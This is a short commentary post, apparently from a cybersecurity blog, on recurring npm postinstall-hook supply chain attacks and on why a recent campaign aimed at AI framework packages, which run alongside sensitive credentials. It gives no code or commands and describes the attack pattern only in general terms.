There’s a temptation to treat every supply chain attack as a unique incident. It isn’t. This is the third notable postinstall-hook attack in the npm ecosystem in recent months. The axios campaign used the same clean-then-poisoned pattern. Before that, node-ipc used a dependency update to introduce politically motivated destruction. Before that, event-stream.

The pattern is always the same. A trusted package (or one that impersonates a trusted package) gets a postinstall hook added. The hook runs before anyone looks at the code. By the time automated scanning picks it up, the window has already been open long enough.

What’s different about this one is the target. AI frameworks integrating with LLM providers and cloud infrastructure are the new crown jewels. The attacker who designed this campaign knew exactly what they were going for. They didn’t spray npm randomly – they picked the one ecosystem that, by design, runs inside environments with the most sensitive credentials in modern software development.

That’s the thing I keep coming back to. The technical execution here was good, but not extraordinary. What was extraordinary was the target selection.

This post first appeared at - The CyberSec Guru